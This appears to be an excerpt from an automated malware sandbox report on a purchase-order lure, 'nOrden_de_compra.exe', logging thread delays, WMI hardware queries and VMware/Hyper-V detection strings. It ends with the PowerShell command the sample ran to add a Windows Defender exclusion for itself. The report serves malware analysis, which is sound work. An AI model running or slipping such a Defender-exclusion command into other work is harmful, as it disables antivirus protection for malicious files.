Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4289	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4320	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Window / User API: threadDelayed 3288	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Window / User API: threadDelayed 6560	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Window / User API: threadDelayed 982
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Window / User API: threadDelayed 8870

Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 988	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1808	Thread sleep count: 4289 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1808	Thread sleep count: 171 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5412	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5888	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3384	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5980	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -27670116110564310s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5352	Thread sleep count: 3288 > 30	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -99890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5352	Thread sleep count: 6560 > 30	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -99781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -99671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -99562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -99453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -99342s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -99234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -99125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -99015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -98902s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -98796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -98686s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -98578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -98468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -98359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -98250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -98140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -98031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -97921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -97812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -97702s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -97593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -97484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -97375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -97265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -97156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -97046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -96937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -96828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -96718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -96609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -96500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -96390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -96281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -96171s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -96062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -95953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -99968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -99854s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -99749s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -99640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -99531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -99421s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -99312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -99203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -99093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -98984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -98875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe TID: 5316	Thread sleep time: -98765s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 3524	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -21213755684765971s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 5308	Thread sleep count: 982 > 30
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -99875s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 5308	Thread sleep count: 8870 > 30
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -99765s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -99656s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -99547s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -99437s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -99328s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -99219s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -99108s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -99000s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -98891s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -98781s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -98672s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -98563s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -98438s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -98313s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -98203s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -98094s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -97969s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -97859s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -97750s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -97641s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -97531s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -97422s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -97312s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -97203s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -97094s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -96969s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -99968s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -99859s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -99750s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -99640s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -99531s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -99422s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -99312s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -99203s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -99076s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -98968s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -98859s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -98749s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -98640s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -98527s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -98273s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -98156s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -98046s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -97937s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -97828s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -97718s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -97608s >= -30000s
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe TID: 2244	Thread sleep time: -97500s >= -30000s

Source: C:\Users\user\Desktop\nOrden_de_compra.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\nOrden_de_compra.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 99890	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 99781	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 99671	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 99562	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 99453	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 99342	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 99234	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 99125	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 99015	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 98902	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 98796	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 98686	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 98578	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 98468	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 98359	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 98250	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 98140	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 98031	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 97921	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 97812	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 97702	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 97593	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 97484	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 97375	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 97265	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 97156	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 97046	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 96937	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 96828	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 96718	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 96609	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 96500	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 96390	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 96281	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 96171	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 96062	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 95953	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 99968	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 99854	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 99749	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 99640	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 99531	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 99421	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 99312	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 99203	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 99093	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 98984	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 98875	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Thread delayed: delay time: 98765	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 99875
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 99765
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 99656
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 99547
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 99437
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 99328
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 99219
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 99108
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 99000
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 98891
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 98781
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 98672
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 98563
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 98438
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 98313
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 98203
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 98094
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 97969
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 97859
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 97750
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 97641
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 97531
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 97422
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 97312
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 97203
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 97094
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 96969
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 99968
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 99859
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 99750
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 99640
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 99531
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 99422
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 99312
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 99203
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 99076
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 98968
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 98859
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 98749
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 98640
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 98527
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 98273
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 98156
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 98046
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 97937
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 97828
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 97718
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 97608
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Thread delayed: delay time: 97500

Source: nOrden_de_compra.exe, 00000000.00000002.2116285224.0000000006F20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: od_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: nNdsLvHyWi.exe, 0000000B.00000002.2145604750.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: nNdsLvHyWi.exe, 0000000F.00000002.4527302834.0000000000BE9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll=
Source: nOrden_de_compra.exe, 0000000A.00000002.4527441718.00000000011D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\nOrden_de_compra.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\nOrden_de_compra.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\nOrden_de_compra.exe
